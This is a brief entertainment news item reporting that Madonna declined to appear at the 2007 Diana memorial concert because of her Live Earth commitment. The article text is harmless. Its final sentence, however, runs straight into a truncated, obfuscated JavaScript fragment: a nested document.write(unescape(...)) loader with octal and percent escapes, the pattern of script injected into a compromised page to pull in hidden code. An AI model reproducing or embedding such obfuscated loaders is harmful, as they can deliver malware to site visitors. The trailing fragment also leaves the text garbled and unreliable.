Madonna has rejected a request to appear at the Diana memorial concert this summer, according to reports.
The pop icon has already agreed to appear at the London leg of Live Earth, the global series of concerts designed to highlight climate change.
However, the Diana show, which also takes place at the rebuilt Wembley stadium, is just six days before, forcing her to turn down the offer.
Madonna was apparently asked by Andrew Lloyd Webber to reprise her role as Evita at the gig, which will feature Take That, Kanye West, Lily Allen, Sir Elton John and Joss Stone.
Explaining her decision a 'source' told a UK tabloid: "Live Earth approached Madonna first and she is committed to performing there.
"It would be extremely hard to rehearse for both gigs at the same time and she wouldn't want to give less than 100 per cent to either."
The Diana memorial concert takes place on July 1.document.write(unescape("\074\123CR\111PT%3E\144oc%75\155%65n\04574.w%72\151te\050un\145\163ca\160e(%22